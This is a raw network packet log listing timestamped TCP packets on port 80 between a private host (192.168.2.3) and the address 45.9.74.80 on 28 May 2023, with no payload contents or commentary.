May 28, 2023 10:42:43.621752024 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.621788979 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.621799946 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.621840954 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.621846914 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.621893883 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.621936083 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.621939898 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.621987104 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.622011900 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.622033119 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.622080088 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.622082949 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.622124910 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.622170925 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.622174978 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.622216940 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.622252941 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.622267008 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.622323036 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.622366905 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.622368097 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.622414112 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.622426987 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.622452974 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.622462034 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.622509003 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.622554064 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.622556925 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.622600079 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.622638941 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.622646093 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.622693062 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.622734070 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.622736931 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.622785091 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.622828960 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.622831106 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.622876883 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.622922897 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.622965097 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.622971058 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.623017073 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.623022079 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.623063087 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.623109102 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.623109102 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.623155117 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.623198986 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.623203039 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.623248100 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.623295069 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.623296976 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.623342037 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.623383045 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.623388052 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.623434067 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.623467922 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.623480082 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.623526096 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.623569012 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.623572111 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.623619080 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.623666048 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.623672962 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.623712063 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.623756886 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.623802900 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.623843908 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.623848915 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.623895884 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.623934031 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.623940945 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.623989105 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.624027967 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.636293888 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.636874914 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.648714066 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.648776054 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.648818016 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.648835897 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.648860931 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.648905993 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.648921967 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.648948908 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.648997068 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.648998976 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.649039030 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.649080992 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.649137974 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.649148941 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.649195910 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.649197102 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.649243116 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.649286985 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.649337053 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.649339914 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.649389029 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.649431944 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.649434090 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.649481058 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.649482012 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.649528027 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.649573088 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.649616957 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.649658918 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.649662971 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.649712086 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.649759054 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.649804115 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.649804115 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.649852037 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.649867058 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.649867058 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.649900913 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.649940014 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.649945974 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.649992943 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.650032043 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.650038004 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.650084019 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.650129080 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.650129080 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.650177002 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.650223017 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.650224924 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.650269032 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.650329113 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.650331020 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.650377989 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.650418997 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.650424004 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.650470972 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.650509119 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.650518894 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.650563955 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.650609970 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.650613070 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.650656939 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.650703907 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.650748968 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.650790930 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.650794983 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.650841951 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.650887966 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.650887966 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.650934935 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.650981903 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.651026964 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.651067019 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.651072025 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.651118994 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.651158094 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.651164055 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.651211023 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.651251078 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.651257038 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.651305914 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.651351929 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.651397943 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.651401043 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.651443005 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.651447058 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.651495934 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.651540995 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.651582003 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.651587009 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.651634932 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.651637077 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.651679993 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.651726961 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.651767015 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.651772976 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.651818037 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.651856899 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.651864052 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.651909113 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.651952028 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.651953936 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.652000904 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.652043104 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.652045965 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.652091980 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.652129889 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.652137041 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.652182102 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.652220964 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.652226925 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.652302980 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.652350903 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.652360916 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.652395010 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.652436972 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.652442932 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.652489901 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.652489901 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.652537107 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.652584076 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.652597904 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.652628899 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.652668953 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.652676105 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.652721882 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.652760983 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.652765989 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.652812958 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.652858019 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.652896881 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.652903080 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.652950048 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.652995110 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.653038979 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.653040886 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.653088093 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.653129101 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.653131008 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.653177977 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.653217077 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.653223991 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.653601885 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.653712988 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.653786898 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.653870106 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.653939962 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.655412912 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.660809040 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.660841942 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.660870075 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.660923958 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.661021948 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.678646088 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.678709984 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.678751945 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.678790092 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.678828955 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.678868055 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.678884983 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.678906918 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.678949118 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.678956032 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.678989887 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.679029942 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.679045916 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.679105043 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.679158926 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.679164886 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.679207087 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.679213047 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.679253101 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.679261923 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.679312944 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.679353952 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.679358959 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.679404974 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.679450989 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.679452896 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.679497957 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.679541111 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.679544926 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.679590940 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.679634094 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.679639101 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.679687023 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.679727077 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.679732084 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.679779053 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.679824114 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.679826021 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.679872036 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.679915905 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.679919004 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.679965019 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.680005074 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.680011988 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.680061102 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.680102110 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.680104971 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.680151939 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.680197001 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.680198908 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.680243969 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.680294037 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.680315018 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.680365086 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.680409908 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.680409908 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.680457115 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.680496931 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.680502892 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.680548906 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.680589914 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.680596113 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.680641890 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.680684090 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.680687904 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.680737019 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.680778027 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.680783033 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.680831909 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.680876970 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.680877924 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.680924892 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.680969000 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.680969954 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.681016922 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.681056023 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.681062937 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.681109905 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.681152105 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.681155920 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.681202888 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.681245089 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.681247950 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.681297064 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.681344032 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.681346893 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.681391001 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.681433916 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.681437969 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.681487083 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.681533098 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.681536913 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.681579113 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.681621075 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.681627035 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.681674004 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.681715012 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.681720972 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.681763887 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.681770086 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.681812048 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.681818008 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.681866884 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.681912899 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.681914091 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.681961060 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.682007074 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.682013988 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.682055950 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.682101965 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.682104111 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.682147026 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.682194948 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.682235956 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.682245970 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.682296991 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.682343006 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.682394028 CEST	80	49704	45.9.74.80	192.168.2.3
